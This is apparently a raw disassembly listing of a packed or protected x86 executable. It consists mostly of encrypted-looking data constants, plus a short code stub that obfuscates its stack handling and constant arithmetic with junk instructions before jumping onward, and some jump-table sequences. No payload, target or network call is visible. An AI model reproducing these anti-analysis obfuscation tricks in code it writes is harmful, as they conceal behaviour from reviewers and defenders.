19BCD4FCh, 0D0DF0E53h, 0C7CAE549h, 2EFBA169h dd 329B6EBDh, 7BAB081Ah, 0C1DFB498h, 9F5h, 0C7D3793Fh dd 6A761CE7h, 0E1AC08Ah, 0AFBB612Eh, 546006CFh, 30F95E52h dd 0D79E7E8Ah, 79452531h, 1FE7C7D3h, 9D66D79h, 0FC36A6DAh dd 40808BD4h, 3A07AD75h, 0A16E14DCh, 7D47A43h, 6936DCA9h dd 19DF85F3h, 0BE392B11h, 0B0163EA4h, 45253h, 0DBA49100h dd 4EDB4F20h, 71A0E587h, 0D1220445h, 0D02E73DCh, 87566208h dd 0D64124Bh, 84D3CD7Bh, 73B85E26h, 57A64C15h, 3E2EA782h dd 5645CAF9h, 0A30CCAE5h, 7BA3F18Bh, 28461B98h, 965h, 576309CFh dd 0FA06AC77h, 9EAA501Ah, 3F4BF1BEh, 0E4F0965Fh, 0C089CEE2h dd 672E0E1Ah, 9D5B5C1h, 0AF775763h, 9966FD09h, 0FC36166Ah dd 0D0101BD4h, 3A07AD75h, 0A16E14DCh, 0E6194BB1h, 846C781Eh dd 0B01642E2h, 680ED634h, 14FB119h, 1D6A0000h, 4F2C92EEh dd 0E7369FDBh, 7AD751Fh, 6E14DC3Ah, 9CD00562h, 3CA32857h dd 0D634D138h, 0AB0780Bh, 9663CC3Dh, 5C02CF25h, 0FCCF1E8Fh dd 0DD97C693h, 0B9D50204h, 1E7C49EFh, 4BF1BE51h, 0EDB715E2h dd 0FA097A47h, 34A0560Eh, 0ECA4A9E5h, 7D4AF0B9h, 408ED80Ch dd 83C12D7Ch, 5B56CE58h, 36EDB6h, 862B0000h, 6CBB6128h dd 0E3284491h, 0C66C3896h, 0A3988F9h, 0D1382079h, 0CD1A5FC8h dd 220E29Eh, 97E64FD5h, 20E193C2h, 319FD502h, 42BEC833h dd 9F5DB65Bh, 9B000000h, 3A07AD75h, 0B48013DCh, 7AD8A50Eh dd 0E13F0CB2h, 0B6677319h, 0DB4F4BC5h, 2E7319E1h, 105F05D0h dd 3CF2DFCh, 1443905Dh, 0DB4EF56Ch, 0A4F35CC5h, 1B600CC9h dd 3FAB16ECh, 6DB21BD1h, 5BA0460Fh, 40A1DF0Eh, 2790D4FFh dd 1BE4C4D8h, 0A4C95D75h, 0EE392ABh, 824F0h, 0A44A1000h dd 47EDB898h, 0EB915B3Bh, 8C32FFDFh, 31D7A080h, 0CC8D2325h dd 71515D03h, 18F804AAh, 0BA9AA64Ch, 0A9404CF2h, 34D3ADDCh dd 535ED4FCh, 5F288613h, 430C6AB9h, 0ACC693D2h, 0FE6792E7h dd 0A44A12F2h, 4A864E98h, 275FD2E0h, 76D423C0h, 0DD3B08AEh dd 0C3636F15h, 277h, 61288679h, 2E7DEEBBh, 0A5EA8253h dd 9D30FA58h, 0FAC730D6h, 600B3A89h, 37D13824h, 9A670DD9h dd 9E07DA29h, 1CD2A2D1h, 0F9C4D502h, 60288653h, 977EDBAh dd 215ACA5Bh, 0F4EA3AC9h, 72D01F8Bh, 4AB605ABh, 0FC47DF1Ah dd 274B65Bh, 0B2000002h, 4F20D9A4h, 0B880DEDBh, 85D44512h dd 0FC412BAAh, 0E08651AFh, 0CA19BF8Ah, 2204259Bh, 5EA30CD1h dd 6A9D511h, 3EC4ACB6h, 23C991EFh, 0CCFB4817h, 0D4FC55B4h dd 59E0147Dh, 42DA062Dh, 9F67C514h, 84512CF9h, 9B74A3E8h dd 0B6CAE5C4h, 3C0B354Dh, 0DCB1987Bh, 720BEh, 0A84E1400h dd 4BF1BC9Ch, 0EF955F3Fh, 903603E3h, 35DBA484h, 0D0812729h dd 75556107h, 1CFC08AEh, 0BE9EAA50h, 0AD4450F6h, 33CFB1E0h dd 5762D4FCh, 7AD7517h, 6E14DC3Ah, 0D57B43A1h, 3AE0AA08h dd 23C3316Dh, 2A6F0480h, 6268DC42h, 0AD50147Ah, 4B333FE5h dd 0B0167B3Bh, 14CE0h, 39861E00h, 42690FDBh, 0DB4F203Eh dd 0DD3B8AF3h, 44A26F15h, 6DCAD67Ch, 90BF0468h, 0D1383D3Bh dd 0D0763E9Ch, 70439203h, 0A0ED3A07h, 2050F71h, 0BAEE22D5h dd 54A389E7h, 84B3026Bh, 0D501CEF0h, 824BDEA6h, 59A673DCh dd 1CE562Ah, 1C72DBD5h, 0C8DFAC52h, 0F66268DCh, 0D87E49A7h dd 0DF4B9A0Bh, 17469365h, 0D501CE69h, 3CE743Dh, 5DE54B9Ah dd 95B65B6Ch, 0D6671948h, 61CAD501h, 35AA12h, 0F8E80000h dd 0E4A8FDDh, 0ECE23861h, 0C20F5EB7h, 3752F093h, 1BE851D1h dd 34A570CEh, 0C85DFBAh, 86D53E90h, 2031D57h, 4FF563D5h dd 5B5CF294h, 7729B6h, 75670000h, 0DC3A07ADh, 42A06D13h dd 791FE77Ah, 5D23BACh, 2D39DFA7h, 4F730F7Ch, 49EFB7DBh dd 77F5E03Dh, 83FF0332h, 0C932D13Fh, 0B75D2684h, 5C02CBABh dd 0B4431A44h, 0C3E1B692h, 5D1h, 0EBF79D63h, 8E9A400Bh dd 323EE4AEh, 0D3DF8552h, 78842AF3h, 541D7276h, 0FBC2A2AEh dd 9D694955h, 430BEBF7h, 2DFA919Dh, 0FC3282FEh, 64A4AFD4h dd 0FA06AC75h, 0A0AC521Ah, 3CAD7556h, 0D8F1E58Eh, 3C097287h dd 659416DEh, 0DB4F001Bh, 9057AD16h, 0D57581EAh, 27h, 3CAD758Bh dd 4A5B7D08h, 8A57C031h, 0F1BE642Ch, 0B4570D7Bh, 0A30146ECh dd 96734DAh, 0DE2D963Ch, 1D2ACAh, 75E00000h, 0B3A07ADh dd 0DB4F2068h, 38AB9985h, 7016DD70h, 2084FC2Bh, 44ADDB4Fh dd 7585CFDBh, 0ED3A07ADh, 210F71A0h, 0B922DB4Fh, 39468F6Ah dd 89FAC76Dh, 5DC66C33h, 4BE8DC18h, 1BE88E59h, 0AD5576AAh dd 105DAAF9h, 8652E5B2h, 374377E0h, 5B892862h, 8B033281h dd 0C6D121D8h, 0F2BA185Dh, 1371404Ch, 0F755A44Ah, 6FBC892Fh dd 4BA8E622h, 6E5380D7h, 0FBE33947h, 0A66DD4h, 0A27DCC35h dd 0C5F43933h, 0CACEC728h, 0EE3B80E9h, 1D6D46B2h, 0BB0A2F20h dd 0E413955Dh, 0CEA8A99Ch, 7EC32C95h, 0FEC65920h, 8CA0EF58h dd 713EE4ACh, 0E82D3F96h, 612EC18Ah, 148552BBh, 3E4978C5h dd 3C491CDh, 703DE3ADh, 0C67E96FFh, 0E68617D8h, 483F311h dd 0EBB10000h, 8E593945h, 32FCDCE8h, 0D3A0808Ch, 7841212Dh dd 2CC4C6D2h, 0F0FCA26Bh, 97A34910h, 3945EBB7h, 0DFEB9159h dd 344C7B48h, 0FDD4FC30h, 0AD75B2F2h, 0CE2CFB07h, 5A2A5E04h dd 7BF009D7h, 0C58DEB3Ah, 2CF4521Fh, 63C9B986h, 9036FEE1h dd 4E8A9C84h, 6931B016h, 0EA000000h, 0C9897AAEh, 3404FE7Fh dd 1DC6FAD2h, 0BA82D127h, 4A8FDDF8h, 0E3495C0Eh, 9FF5BEF9h dd 0F1622FD5h, 392655A2h, 0B8D1377Fh, 8EBD0A4Fh, 0D500E3F2h dd 7742E8B4h, 1472BF0Eh, 0E596A248h, 0D500E39Dh, 6EEDE1Ah dd 960CB495h, 7B21E947h, 650BD836h, 56220216h, 8754FAC3h dd 93E0AD16h, 0F5C26835h, 0C2173584h, 0CD000003h, 760A3986h dd 0BBDB4F20h, 0DDA50352h, 0D01D6A37h, 4F20DFA1h, 5A00C7DBh dd 0C511C8Dh, 4F20A3DDh, 0BC258EDBh, 0A1470F6Dh, 0CF9D3895h dd 7B224E8Ah, 20242E21h, 765584D1h, 0DBD137B1h, 0FE76A572h dd 82D50179h, 9DA55014h, 3AB65B99h, 37h, 8FDDF878h, 20681B4Ah dd 70D9D138h, 210074A3h, 1280D502h, 9862C052h, 0A9D825F2h dd 0D50220D7h, 4388F15Ah, 2206C14h, 0D5CC5D5h, 5B429FA7h dd 0A23CB6h, 757A0000h, 0DC3A07ADh, 53A06D13h, 348329F5h dd 9B680ED6h, 0C3CF753Dh, 4F245912h, 0BF652DDBh, 650BD3B3h dd 5418BD98h, 4EBFE00Fh, 0C932D138h, 0F77560BDh, 0A37583B2h dd 43ACCAF2h, 44D7A0FEh, 9405D278h, 14501F2Bh, 0D7433EFh dd 6E124155h, 0C3CEB2EDh, 44A2F15Ah, 771DE87Bh, 0B8D039AAh dd 9878766Ah, 0D2234116h, 62000002h, 0AEAF69Ch, 0AD8D993Fh dd 51313DE3h, 0F2D2DE84h, 75778329h, 0AF551E73h, 56FCC3A3h dd 0F89E6A4Ah, 9E440CECh, 0FF2EFB92h, 0D4FC2F81h, 7565A5B0h dd 1AFA06ACh, 56A0AC52h, 84B3DDF8h, 0DB4F20FCh, 1E63CC35h dd 2B5584D1h, 6DB4F21h, 713EE4B0h, 76419700h, 439203D0h dd 38206F14h, 9C69D2D1h, 221076Dh, 590B79D5h, 5B42849Eh dd 24F04EB6h, 0F140B17Eh, 0AE89h, 0AD75C700h, 2084FC2Bh dd 44ADDB4Fh, 1A5A96DBh, 0D35C29C4h, 6CCA9FEEh, 130FDA3h dd 0DB4E496Ah, 0A2AE541Ch, 8754FAC2h, 0FE4329ACh, 3773D0CFh dd 0ACB821D1h, 2CF9864Fh, 0DF48B986h, 0C5AC6B9Ah, 0CC35CAF1h dd 0B95F2987h, 0DF2C7BECh, 6A164592h, 0C7CEB15Bh, 0E8B10F5Eh dd 5B493766h, 7FE8CEB1h, 612A0A16h, 805DA3BBh dd 22F79879h, 1E804h, 0E0864C00h, 8329F4D4h, 27CD9777h dd 0C86E3B1Bh, 6D13DCBCh, 8495F61h, 0AD8D993Fh, 543440E6h dd 0F6D6E288h, 0E57C882Eh, 2E97E918h, 8F9AD4FCh, 5C28864Fh dd 400967B6h, 0E6AE8E9Ah, 75EA3440h, 86C207ADh, 0BA87D9BAh dd 0A7D4E014h, 0C916EB3Ah, 522D407Ch, 2795C312h, 4E288000h dd 0F948B1DBh, 212DD39Bh, 872DF452h, 0EC925CBAh, 84C94F83h dd 93EBB75Ah, 781EE644h, 6705D0ABh, 9094F322h, 44ADD137h dd 0AB511977h, 0C507A2DEh, 88EE6238h, 0F7C46A32h, 35BBA90Fh dd 0D90C381Ch, 0C8266B11h, 2A8855FBh, 7CEDBA60h, 53B0C413h dd 76A5EA82h, 0CAEA9B8Dh, 207E4BB4h, 6FE5B258h, 73F5C220h dd 0B4373C44h, 238CF5CEh, 0C87477EFh, 0EC3B27F3h, 31A4C480h dd 3CC7F63Bh, 5C49DF5h, 0ED9256D1h, 85EE8C5Ch, 3ED19979h dd 9102CF75h, 31FD5B28h, 0D89DBE8Bh, 6917D69Ch, 79C87F46h dd 0ECB4570Dh, 0F453B6Ah, 9A61C868h, 57C029F4h, 85E7EE4Bh dd 42761140h, 97CBBE51h, 0FA40AE1Fh, 0FAC730C1h, 0E92ED49Ch dd 0B8EFA5ADh, 81347EDh, 0C297E65Bh, 0E787BDA1h, 0EC397EEEh dd 8263BB0h, 3A893EC1h, 4097C0Bh, 505CC5B8h, 458AE2F3h dd 0A0880016h, 0BC1A67B1h, 0E7F4CF2h, 7AC099E7h, 91EF1EB5h dd 0A0B57AC0h, 0B4036C37h, 4DAB78E1h, 0A426F285h, 7AC10B75h dd 54BD26B5h, 2A47F520h, 0D63F4BABh, 7C22EACAh, 390462AFh dd 0E6F888B7h, 0D039B57Ah, 1E4D9A67h, 0B57AE662h, 0AEFD66CFh dd 33AD917Fh, 0B5AF1D48h, 0D8E48A52h, 0BD8A30F8h, 1FEC925Fh dd 0C82A1AFEh, 450FA26Ah, 0F861D29Fh, 1834BA9h, 4321AED2h dd 622D8368h, 0DEEA53BCh, 4B9036FEh, 0C89225EDh, 7BE45522h dd 0A39572Ch, 0EF000000h, 0B95F2886h, 0AD2C7BECh, 9AF75E5h dd 7016DE3Ch, 0D37945A3h, 3BE1A806h, 0A147106Eh, 7AD76D4h dd 690FDC3Ah, 0CE743E9Ch, 32D8A301h, 0EC81E865h, 4, 53243489h dd 0C381E389h, 4, 8704EB83h, 895C241Ch db 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax mov edx, 183420C5h push ecx mov ecx, 710C6C8Ch sub ecx, 7913470Dh or ecx, 33E6079Eh neg ecx neg ecx xor ecx, 2C632FA1h xor ecx, 0CA7D3556h sub edx, ecx pop ecx push 8A9h mov [esp], esp add dword ptr [esp], 4 pop eax push ecx push 8 pop ecx add ecx, eax mov [ecx], edx pop ecx push dword ptr [esp] pop eax add esp, 4 mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_546EAD ; --------------------------------------------------------------------------- db 85h, 0DAh, 81h dd 6D89F61Eh, 52F4E4B8h, 0FFC50306h, 73E177E0h, 8CA39D60h dd 0AB4BBB34h, 0F373F914h, 11E7633Ch, 0FED5572Bh, 0D732EC35h dd 44C9B41Eh, 4708DD4Dh, 19F3430Ch, 0F9AD8F5Ch, 9E0662Eh dd 150BA049h, 6E6F7636h, 0EF3EE571h, 0CD48802Eh, 0FE855h dd 97AD0000h, 2DB35EAFh, 0E1931E14h, 692D6632h, 5E9C5h dd 6A920000h, 5F99ACE3h, 817AD880h, 7409C7h, 0D8BF0F00h dd 0CE9C92Bh, 1C000000h, 0C31FD384h, 500F906h, 0FF4E7DC4h dd 0BE83934h, 2A000000h, 0E02E8848h, 1DB1A956h, 5A5B67F4h dd 0EA3DEA81h, 0DE970CBh, 0E2000000h, 0B799EA43h, 0EDCF012Fh dd 0E3CBCD02h, 5B8BF281h, 0C68A6868h, 0F00AF281h, 0A0B044C1h dd 810F1489h, 5719E4D8h, 0B70F6052h, 0E98361D9h, 0EE816603h dd 80493A68h, 0F9816BCCh, 0FFFF8CC4h, 1D850Fh, 0C3810000h dd 3AB87A29h, 2AE9h, 0C44E9000h, 0F6AF7FCCh, 0FE8083E8h dd 0C2EB6B18h, 0B8B96020h, 612264A1h, 0FFFF76E9h, 0DDAB43FFh dd 0A9E947A0h, 5B793252h, 0EB8355A0h, 9E7D0079h, 0E2218CEFh dd 0ABAFD60Fh, 4DB2979Fh, 95B7E37Ch, 0A9E57200h, 0B69CB5E9h dd 0F377609Bh, 0B794A9B6h, 60D7609Eh, 0A9BD897Dh, 9EBD8C9Eh dd 95ACE372h, 0B98B204Ah, 89937E9Bh, 0F496B99Dh, 0A19E96AFh dd 0A7D6B594h, 0D100FD91h, 594ACC48h, 713C33h, 57DB4D52h dd 0B7D65EF3h, 0F600B79Bh, 8995ABAFh, 56F0009Fh, 0B3D7C771h dd 711800BEh, 0ADC4D756h, 3B3F73E2h, 82E97EEEh, 6800000Fh dd 652F914h, 0FA8898E9h, 0FA0068FFh, 8EE90652h, 68FFFA88h dd 652FAC8h, 0FA8884E9h, 0FC0D68FFh, 7AE90652h, 68FFFA88h dd 652FC84h, 0FA8870E9h, 0FD1668FFh, 66E90652h, 68FFFA88h dd 652FDD1h, 0FA885CE9h, 0FE9F68FFh, 52E90652h, 68FFFA88h dd 652FF61h, 0FA8848E9h, 668FFh, 3EE90653h, 68FFFA88h dd 6530168h, 0FA8834E9h, 42068FFh, 2AE90653h, 68FFFA88h dd 6530516h, 0FA8820E9h, 0AC5218FFh, 4FF5C0A0h, 0F3996343h dd 943A07E7h, 39DFA888h, 0D4852B2Dh, 7959650Bh, 20000CB2h dd 0C2A2AE54h, 0B14854FAh, 29CBB5E4h, 5B66D4FCh, 1AAD751Bh dd 6BDCA94Fh, 0FD73502h, 0FCC62469h, 96F30756h, 0D456623Fh dd 0BF8A6F0Dh, 8DF69C69h, 771DEA48h, 9DEA39AAh, 38375D6Eh dd 0BE8BF4D1h, 0D9D43571h, 0E81CC289h, 5A244419h, 0CDFC4BB4h dd 0D501BCA7h, 0C79427EFh, 7AE35421h, 0E2884FADh, 5212FE15h dd 4B1B34D1h, 0FD66D4A8h, 0B6212391h, 0B65B8CACh, 414Bh dd 0AEC80400h, 0B288B18Fh, 0F88B53A2h, 1B4A8FDDh, 0D1382068h dd 0DE2B70D9h, 220D1AFh, 0A8F760D5h, 20D0A4D3h, 42B0D502h dd 424FD702h, 0EC6CB65Bh, 25000000h, 0AF5670E9h, 0D52B941Fh dd 2798650Bh, 0AD7510D8h, 0A0ED3A07h, 4F210F71h, 6AB922DBh dd 589D430Ch, 0BB882EFAh, 87F0965Dh, 3D056338h, 0A46CCA97h dd 616AE622h, 19813119h, 4F1B8EF2h, 854DA3DBh, 542076DFh dd 770E1AEh, 1F214AFBh, 9D65DB4Fh, 0BE1CEBF7h, 0E7F4CF2h dd 179961BFh, 2148EEB9h, 0DB4F175Fh, 330069D2h, 0AAEF7D58h dd 383E747Bh, 28349DD1h, 1D620ACBh, 0F2A9A1EEh, 0BAE936CAh dd 0CEB23BC6h, 0E0B3026Bh, 0A9E53277h, 4EDC7CA7h, 0F6DBC98h dd 0B494A046h, 992D45EBh, 139878AEh, 0CD8203Eh, 0C3890000h dd 6631111Dh, 0AD4B4C0h, 0AB785864h, 5019F905h, 149C9EAAh dd 0C8D47A43h, 6F7B21E8h, 111DC38Fh, 0B7C36931h, 5C245320h dd 0D5D4FC27h, 0AC758ACAh, 0DFAC5219h, 19F9056Eh, 0ED6CE051h dd 4522E917h, 0F886D0DCh, 0FD4A8FDDh, 20FF81B0h, 0DEA7DB4Fh dd 0B5046D38h, 3820FD86h, 0EDB44D1h, 22095DFh, 0C77DEBD5h dd 5B420A1Ch, 0B5B1B6h, 0C6A0000h, 874F9E44h, 3A07AD75h dd 0A06D13DCh, 4F24FA71h, 1EC48CDBh, 0C46A3212h, 0B6E5327Fh dd 0DB4F1CCAh, 0A9D7FE67h, 88DB4F1Ch, 20FBD01Fh, 1472B7B5h dd 0A57A64Ch, 0EE945FBDh, 437F709Fh, 2992D138h, 1B124E1Dh dd 6A87246Fh, 0EF8D94BCh, 78E15C4Dh, 0E5874E29h, 810F71A0h dd 0B922CAF2h, 0A74D1674h, 81F2BB9Bh, 48164229h, 45EBB5A5h dd 8D5B73DCh, 379879B9h, 0BEC4462h, 0AF750000h, 521DFD09h dd 0F6C0A0ACh, 97644450h, 3C05E5F1h, 60888A96h, 0B4C0662Fh dd 5B670DD4h, 0FD09AF7Bh, 0A3AF551Dh, 70103F0Ch, 0C1D4FC26h dd 0AC7576B6h, 521AFA06h, 7556A0ACh, 0A84E1AADh, 34016ADBh dd 5C680ED6h, 3F0CB27Ch, 677319E1h, 0EAEBC804h, 510E3D82h dd 0A0D13847h, 0CD97F4Ah, 0C1EA329Bh, 0BAA82AB2h, 0B9FE6E67h dd 60F5518Ah, 0F237A0D3h, 0D77D47A5h, 2A9DD0B0h, 0A2F861D7h dd 0F56633D9h, 3784D1A6h, 2A9D7808h, 150B9D7h, 78BDAF26h dd 0F750EF2Bh, 0E7C60313h, 0AD646998h, 84EDCD17h, 34B6F23Fh dd 0C3000B33h, 0D9A1FF4Eh, 1C582733h, 0D7AC7997h, 0AA08572Eh dd 5A243CE2h, 0F69E9107h, 0B240321h, 773D0000h, 1AE5C5D1h dd 0BE886874h, 5F2C0C18h, 4CDADB9h, 5850525Eh, 7C882EF7h dd 232FD59Ch, 0C5D17743h, 6B771DE5h, 0A8D807D4h, 89D4FC26h dd 28863E7Eh, 9A65BB61h, 7F47A5F4h, 0A4310CD9h, 5B5483C8h dd 0B6D1382Dh, 0F1E4414Dh, 1610709Fh, 0B821D502h, 0DFAC0A4Fh dd 6E9DEA39h, 0CAEB3109h, 0B3E2AF18h, 0CEB4FAC1h, 0E81351BFh dd 0BC8C645Eh, 417Dh, 0DDF8BB00h, 0C1FD4A8Fh, 0AA71AEACh dd 2CF8D004h, 87D80756h, 6AD1380Dh, 925EBC01h, 532FE0ECh dd 53D50171h, 53A0E58Bh, 0CDC3B217h, 3960858Eh, 0D5021E47h dd 1E3281EAh, 0FFCC723Eh, 0A71E1h, 0DDF89700h, 0E60E4A8Fh dd 0DC755D0Fh, 0A3986D5h, 0D1214D7Ah, 0BB195EC7h, 61414DF3h dd 4B26F399h, 6E9DE28Ah, 0CACE5733h, 0C31055BEh, 69394776h dd 8FF8CEA8h, 981AE240h, 0A86A1769h, 3065B1CEh, 8B2E6BAh dd 0B5E093Dh, 0F577F5E5h, 80DE238Ch, 0D24310B6h, 0C78F6F83h dd 0A9075421h, 4F3160E2h, 0E2CEA8E8h, 0E6C11079h, 0EB387DEFh dd 5E22519Eh, 0D3CEA8E8h, 0E83D436Ah, 8BF4CEA8h, 0C7A0D3Ch dd 71C7C492h, 7F9700A6h, 861704A5h, 0DF547247h, 82000009h dd 2A0A16BCh, 0CDADB95Fh, 71515D03h, 12F2FEA4h, 9597A349h dd 0CF753E13h, 761CE3C3h, 18BE8A6Ah, 0BE642C0Ch, 1F4E1BB2h dd 0D4FC2461h, 0A485C5D0h, 0DB4F20D0h, 9BE08C49h, 22183D6Ch dd 165BC4D1h, 54AF0B8h, 2AF789B8h, 0D13AD4FCh, 0C68E6E82h dd 5D785320h, 0A46CCA0Fh, 3362AFFEh, 0CAE5367Ch, 5F215095h dd 0D2CEAF1Eh, 3AE80069h, 0A698445Ah, 968B3D1h, 33F90000h dd 0D6A1818Dh, 7A442430h, 1BE8C8D4h, 0C0896975h, 0E40C0E1Ah dd 3844EAB3h, 0DFEB9158h, 818D33FFh, 2733D9A1h, 0EC94C390h dd 45D4FC24h, 4A86FA3Ah, 840AE819h, 1977C65Eh, 0E0A0CF51h dd 51DB4ECEh, 54B27FE8h, 919E68Ch, 0ACB62123h, 4BB0166Ch dd 3BAh, 8FDDF889h, 17921B4Ah, 3A7FD122h, 0FC29750Bh, 0EA53BCD4h dd 0D97F47A5h, 7F25EDCDh, 29F183B2h, 0AD28D4FCh, 0F65F05D2h dd 362D82B1h, 7BE4CAE5h, 445ABD63h, 24421798h, 8D6h, 131FC58Bh dd 0B6C26833h, 5A660CD6h, 0FB07AD7Ah, 0A0AC521Bh, 7C450A9Eh dd 23EACAD6h, 0C591717Dh, 6B33131Fh, 5522B9C5h, 0FC235A26h dd 8CCCD7D4h, 760A3986h, 0BBDB4F20h, 0A2DE0D52h, 8FDB4F20h dd 0B179D726h, 9E68C60Bh, 6BBA2BF8h, 0CA703896h, 5D07EDFDh dd 163E80A2h, 32037B0h, 86750000h, 20760A39h, 52BBDB4Fh dd 20A0D403h, 0BA07DB4Fh, 4F20F58Bh, 84D33CDBh, 0FB402CA9h dd 22179BCCh, 0C68EECD1h, 0CAFED120h, 9D36022Dh, 348B148h dd 0E16CDDA5h, 0DEC59E3Ch, 0D4B4C029h, 4C99660Ch, 2D7C22EEh dd 0A4E98352h, 0E5643A75h, 566ED7CAh, 987B8CBCh, 1B0D2B00h dd 46000008h, 0EECEDA80h, 91717D23h, 351521C7h, 0D6B6C268h dd 595B670Dh, 93390257h, 3AE0A787h, 0DC824E2Eh, 8228F0D0h dd 0E312DF76h, 0D4FC239Dh, 75498994h, 0DC3A07ADh, 43A16E14h dd 0A503D076h, 0C6A37DDh, 0C12F9D43h, 5F454D83h, 3E68FAE5h dd 6EAAB016h, 1CE9E49Ah, 0D37941D4h, 63B31B6Ah, 6C000002h dd 99B3630h, 73C20888h, 20D0A4ABh, 8C49DB4Fh, 0F04E9BE0h dd 45B68329h, 0FAFD6511h, 0D12075EEh, 21FDCCA2h, 97DC45D1h dd 0BFCB7139h, 0C74A3F0h, 25D4FC10h, 470F6DBCh, 0FEA96C5h dd 1347D4FCh, 0CB3EA825h, 0AD167F5Dh, 0AFD005E0h, 93D841E7h dd 0E4DEAB64h, 0B0DF2CCAh, 0CEAEC2D0h, 0D6A9F861h, 6B7556Dh dd 20F59844h, 74D02h, 0A84E1400h, 4BF1BC9Ch, 0EF955F3Fh dd 903603E3h, 35DBA484h, 0D0812729h, 75556107h, 1CFC08AEh dd 0BE9EAA50h, 0AD4450F6h, 22CFB1E0h, 5762D4FCh, 7AD7517h dd 6E14DC3Ah, 0FA7C43A1h, 4F20B5CBh, 0AA137CDBh, 0DB37FDDh dd 7AEA5040h, 3E268C74h, 515D03CBh, 1642D969h, 7FEB0h dd 0B53C0000h, 192h, 20DAA46Bh, 7FDDDB4Fh, 0AD5320B3h dd 0B0067744h, 1723FE5h, 6EFED7B2h, 1779FA29h, 74A8D122h dd 46206A43h, 165BC45Ch, 0F645EBB8h, 0DD834BA9h, 8329F1D1h dd 72FADBB6h, 0B782E02Dh, 4EB75D24h, 0E33FD0FFh, 0CD12CAE5h dd 0AFC6E29Eh, 32F94FCEh, 0A2BA238Ch, 987B029Ch, 8B456338h dd 0D6000006h, 7E5E6A10h, 21010DB3h, 0C5A5B157h, 664652F8h dd 0E9EBF79Dh, 23C992C7h, 0CA703717h, 6C12DEBEh, 12B88060h dd 73A26F06h, 0D4FC220Dh, 75D91924h, 0DC3A07ADh, 0B1A16E14h dd 1EE6194Bh, 0E2846C78h, 19B01642h, 7, 0E4B557h, 0A46B0000h dd 0DB4F20D9h, 0A2E78550h, 892FF755h, 0CDFC4BBCh, 0D12217AFh dd 38DEAA08h, 86B5FA6Bh, 0D4FC29FAh, 0AC7FCE37h, 0D8A0FE43h dd 7E462632h, 82BE0BD8h, 3B3BEB44h, 9137029Ah, 0D7FED928h dd 0D23BE1A8h, 1BB15E8Dh, 37A0CAE6h, 7B79011Fh, 0B8D6AB98h dd 5E6h, 30FB57Bh, 0A6B25823h, 4A56FCC6h, 0EBF79D6Ah, 909C420Bh dd 6C351A8Eh, 13DABAC6h, 0B581616Dh, 5B23030Fh, 4512A9B5h dd 0FC206A16h, 7CBCC7D4h, 0B95F2886h, 0CE2C7BECh, 35936006h dd 2482C76Dh, 76E7B45Ah, 1B625227h, 0FF4EF4BDh, 662ED193h dd 0BACCB4C0h, 61B01642h, 7, 2CB59Fh, 756B0000h, 0DC3A07ADh dd 43A16E14h, 0A907D47Ah, 0D6B38DEh, 60D19E44h, 0A42A1A80h dd 699CC836h, 20EFFBA1h, 453F9C2h, 27E6h, 0AD759C00h, 680B3A07h dd 85DB4F20h, 7038AB99h, 0EB3885CAh, 4F20C4BCh, 0DD046DDBh dd 0DB4F20A3h, 0C8933903h, 0B2FC105Fh, 0BA602886h, 0CF2D7CEDh dd 5AB7407h, 0DB0A579Ch, 0DB4F20A5h, 0AFDE238Ch, 0DB4F20D1h dd 0D3A8F760h, 0BA602886h, 522D7CEDh, 75A4E983h, 0D122180Fh dd 0EB915AB8h, 8B5EAD1Eh, 3290DD22h, 1876C56Bh, 0BE9EAA50h dd 2B4985F6h, 0CA992036h, 0CCA5B396h, 0D53E34F0h, 0CBCC5490h dd 3EA3D057h, 963F1AEFh, 3F6291D6h, 38CACF2Ch, 1A690FDAh dd 3B99DE47h, 0F2C1CD73h, 3F0A76A5h, 0D7BECEA9h, 32174870h dd 54A30CD7h, 0BB882EF6h, 0C28AF5E0h, 75DE4F1Ch, 0F0860130h dd 0F441C492h, 5CA8BBC5h, 0BE0D76C8h, 0C06A82EBh, 0EC861620h dd 484F917h, 17DD0000h, 0BA856571h, 5E280814h, 0FFCCACB8h dd 0A46D4D59h, 0F8F0F2FEh, 1C28CE97h, 0C3CF753Ch, 657117E3h dd 0B17BD85h, 878A774h, 29D4FC20h, 0AD75DE1Eh, 0DF2CFB07h dd 4F20D0B0h, 0A2F861DBh, 86E433D9h, 0FE4B18BEh, 0E433D9A0h dd 4B18BE86h, 0AD4FF55Bh, 204F3160h, 79E2DB4Fh, 5E04CC2Ah dd 42D86A52h, 0BC1AB016h, 92FA49EFh, 5Fh, 0A2DDF8D0h, 0F56633D9h dd 4718478Ch, 30D1386Eh, 79A7A6F4h, 8A847B9Fh, 788CC02Eh dd 9467B6AAh, 6A99E62Bh, 0D5014516h, 450E72A1h, 0BA23D501h dd 0EA3786EFh, 0E1AC08Ch, 145255Dh, 13B981D5h, 0FFA570CEh dd 5E72C132h, 3F0CB27Eh, 4ACC94F2h, 144651Bh, 0FA63CCD5h dd 3B88DABh, 0F8430000h, 0E4A8FDDh, 844D09F0h, 6CA011DEh dd 0DD33C11Bh, 0D21F6E14h, 375E50A3h, 9B68D1D1h, 1404753Dh dd 14540F3Bh, 0CB01669Ah, 323BF842h, 1886FCC9h, 0D3993C2Ch dd 6E12418Eh, 49D500D4h, 0D4661Ah, 9762CBD5h, 6392DF2Eh dd 0CAEA0190h, 631D4C91h, 0CECEB3A9h, 0A1470F65h, 0B5FA63D4h dd 6FBC1079h, 0A3F2345Ch, 0C9A3328Fh, 0FB9E5584h, 1A83C49Ch dd 5AB77D5h, 0BA83E1B6h, 42264714h, 0F9736202h, 0D06E85B4h dd 5DB3BE4Fh, 7A86EF95h, 733FD29Ah, 9AF77CDh, 0AD75D3A0h dd 5A86C207h, 746CC9B4h, 8C5B6FBEh, 849FFF50h, 0A6FC3C4Eh dd 0F76835DBh, 9908CDA8h, 36E7DD58h, 64BB4F0h, 433D6CB9h dd 0EEC21988h, 5D2AD098h, 53483ECh, 0B802A4C6h, 2655228Bh dd 0BBCC6C4Eh, 0AD77D48h, 703DE3ACh, 12D88CFAh, 631B57A6h dd 680EDA41h, 84156634h, 609BC935h, 0AF944DC6h, 4BF5h dd 0DDF83300h, 22EC4A8Fh, 0B31CC28Fh, 561F75E6h, 2372E3B0h dd 20DCA7D6h, 0F65D138h, 0ED93C244h, 44D50220h, 3C0972DBh dd 220670Dh, 0B9AB19D5h, 5B42243Eh, 0EDD3B6h, 3F8C0000h dd 22C7010h, 0CE8DC1D5h, 